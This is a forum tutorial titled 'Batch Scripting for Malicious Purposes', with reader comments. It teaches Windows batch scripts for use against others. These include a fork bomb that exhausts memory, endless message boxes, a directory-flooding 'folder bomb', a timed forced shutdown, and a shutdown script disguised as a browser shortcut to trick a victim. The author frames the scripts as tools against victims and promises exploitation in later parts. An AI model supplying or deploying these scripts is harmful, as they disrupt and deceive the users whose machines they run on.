Hack Like an Elite: Batch Scripting for Malicious Purposes: PART 2 (Some More but Interesting Basics)

Batch Scripting for Malicious Purposes: PART 2 (Some More but Interesting Basics)

And we meet again Crackers!

Welcome to my 7th post (Part-2), this tutorial will explain about some more basics of Batch Scripting, with C00L Scripts, which in turn will help you learn and understand better

#1 Script: Freezer:

-----------------
@echo off
:A
start
goto :A

----------------
Cause: Freezes the system until all of it's memory (RAM) has been used up.
Solution: Reboot the system.
Meaning:
1)start: This command, opens a command prompt, but with loop, it open infinite command prompts.
Try this script again with this command line: start notepad
Output:

#2 Script: Aggravating Messages:

-------------------------
@echo off
msg * hi
msg * how are you
msg * stop tying to make me go away
msg * ill never go away never
msg * still here
msg * this is getting boring
msg * "yawn"
msg * i think i will go now
msg * yeah i will
msg * well bye
msg * "end of message"

--------------------------
Causes: Displays a msg dialog box, containing some text.
Try this script again using a loop:
Eg:
:a
msg * hi
goto :a

Output:

#3 Script: FUN!

----------------------------- (Copied, but easy to create)
@echo off
:menu
title MenuMaker V0.1
color 06
cls
echo.
echo.
echo Menu Tester...
echo Type 1 for fun!
echo Type 2 for a bun!
set /p choice=
If %choice% EQU 1 goto :fun
If %choice% EQU 2 goto :bun

:fun
title !!!Fun!!!
color 08
cls
echo !!!FUN!!!
echo NO FUN HERE!
pause
goto :menu

:bun
title !!!Bun!!!
color 08
cls
echo !!!Bun!!!
echo No bun here...
pause
goto :menu

---------------------------
Cause: Just a little program
Meanings:
1)title: Gives a title to the command window.

2)set /p choice= This command is used to set values for a variable,
here the variable is choice, it can be anything like: a, b, hi, yo, xz, asdf etc..
The Value of these variables is given by user while executing a script.
Eg: Lets say a=1, Then value of a will remain 1 until the end of the script.
If I type echo %a%, then it will display the value of a instead of the variable a.

3)If %choice% EQU 1 goto :fun: These are simple IF commands:
Here: If value of the variable "choice" is 1 then go to the location :fun
Similarly with the other one.

4)color 0a: Used to give color to the display. There are 2 digits, first one is for Background , and the 2nd for the text.

For more help open cmd and enter: color -y

OUTPUT:

#4 Script: Fake Virus!

--------------------------------
@echo off
echo OMG YOU GOT A VIRUS.
ping localhost -n 5 > nul
echo Scanning...
ping localhost -n 5 > nul
echo.
echo.
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
echo.
echo.
ping localhost -n 5 > nul
cls
echo Disinfecting...
ping localhost -n 5 > nul
echo Cannot disinfect format hard drive(y/n)?
pause >nul
echo Formatting...
ping localhost -n 5 > nul
color 0a
echo.
echo.
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
dir /s
echo.
echo.
ping localhost -n 5 > nul
cls
color 0f
echo HDD FORMATED! Rebooting...
ping localhost -n 5 > nul
echo HA HA I FOOLED YOU
pause

-------------------------------
Cause:Just a Fake Virus
Meanings:

1)ping localhost -n 5 > nul: In Simple Words, Used to give a time break in the script, (useful to show loading... etc) in seconds. (Here it is 5 sec)

2)dir /s: Used to scan the current directory.

3)pause >nul: The only difference between pause and pause >nul is that it does not display's this: "Click any key to continue...", this is very useful for experiments.

Here: Whether you press y or n the script will go to the next line and keep on executing...

Output: (not full)

#5 Script: Real Virus!

Sorry, you will have to wait for the next part, it contains all of the advanced section...

Until then,
FOLDER BOMBING:
-----------------------
@echo off
cd "C:\Users\pf\Desktop\VIRUS !!"
:folder
md %random%
goto :folder
-----------------------
Causes: It bombs any directory with (Infinite) folders! (Desktop)
Solution: I have used the cd (change directory) command, so that my desktop doesn't get spammed with folders.
Meanings:
1)md: Make Directory (Folder)
2) %random%: Give random (any) names to the directories
3) When in a loop, folders get created infinitely
Output:

#6 Script: Shutdown:

---------------------------------------
@echo off
:Start
title timer
color EC
echo Type in an amount of time (Seconds)
set /p time=
color CE
:loop
cls
ping localhost -n 2 >nul
set /a time=%time%-1
echo %time%
if %time% EQU 0 goto Timesup
goto loop

:Timesup
title Time Is Up!
ping localhost -n 2 >nul
ping localhost -n 2 >nul
color 5F
echo You have 20 seconds before Windows Will shut down!
ping localhost -n 20 >nul
ping localhost -n 2 >nul
ping localhost -n 2 >nul
ping localhost -n 1 >nul
goto Shutdown

:Shutdown
color 4F
echo Windows is now shutting down!
ping localhost -n 1 >nul
start C:\Windows\System32\Shutdown.exe -s

--------------------------------------
Cause: Causes the system to shutdown when time is up!
Meanings:

1)set /a time=%time%-1: Here "time", is a var (variable), and we have given it the value, lets say, 10, this value can be altered (added/subtracted) using this command in a loop.

2)if %time% EQU 0 goto Timesup: After sometime, the value of time will come to zero, and when it does, the script executor (like a compiler) will look for the location :Timeup, and execute the statement(s) below.

_______________OR_________________
You can use this simple command:
shutdown -s -t 10 -c "DIE!"
3) shutdown -s: Shutdowns a system (attributes/switches: -r (restart) -a (abort a scheduled shutdown) )
4) -t: To set a timer
5) -c: Display a code just before shutdown.

Output:

#7 Script: Matrix!

-----------------------
@echo off
color 02
:tricks
echo %random%%random%%random%%random%%random%%random%%random%%random%
goto tricks

---------------------
Cause: Makes you look Cool but Kiddish.
Meanings: Displays a random set of numbers in a loop.

#8 Script: Date and Time:

---------------------
@echo off
:A
echo Here is the current time %date% %time%
goto :A
---------------------
Cause: Displays current date and time in a loop (so the time is exact!)
Meaning:
1) %date%: Current date
2) %time%: Current time
Output:

#9 Script: Password:

-------------------------
@Echo off
cls
:password
Set input=
set /p input= Password (input then press enter) :
if %input%==cheese goto YES
if not %input%==cheese goto NO

:YES
Start notepad
start mspaint
Exit

:NO
Echo INCORRECT PASSWORD
pause
goto Password

-------------------------
Causes: Useful in creating passwords:
Solution: Edit the batch file to view the password.
Meanings: EQU and == means the same.
Output:

#10 Innocent Shortcuts:

Make a batch Script:
-----------------
@echo off
shutdown -s -t 5 -c "Error **8 99* *14"
exit

----------------
1) Save it as .bat
2) Right click, properties
3) Change icon
4) Browse for Internet Explorer or Google Chrome.
5) Click OK, Apply.
6) Pin this shortcut to Task-bar.
Cause: You already know...
Picture:

Sorry Folks...

I needed for you to have some more knowledge about batch scripts...
This tutorial is mixed with advanced and basics.

The next one will be fully advanced, and will deal with the exploitation of victim's system. (Converting .bat to .exe, so that the script cannot be edited/read etc..)

Good-Bye!

The next part will be released slightly late.
Keep Coming for MORE!

Thank You,
F.E.A.R.

Just updated your iPhone? You'll find new emoji, enhanced security, podcast transcripts, Apple Cash virtual numbers, and other useful features. There are even new additions hidden within Safari. Find out what's new and changed on your iPhone with the iOS 17.4 update.

5 Comments

It's always fun making a fake virus out of Batch and VBScript. ;) I've got one that types in Notepad a really creepy message.

Can you show that please, and I like vbs better but it is difficult for people to completely understand

Sure.

Here it is. Just save and run. I removed the shutdown command. I initially designed it to be disguised as Internet Explorer.

I made a version of the fake virus that activates when you click on a shortcut. I suggest changing the color to red to mess with people easier :)

Yeah me too, but a Real one ;)
I'd be happy if you share it!

Share Your Thoughts

  • Hot
  • Latest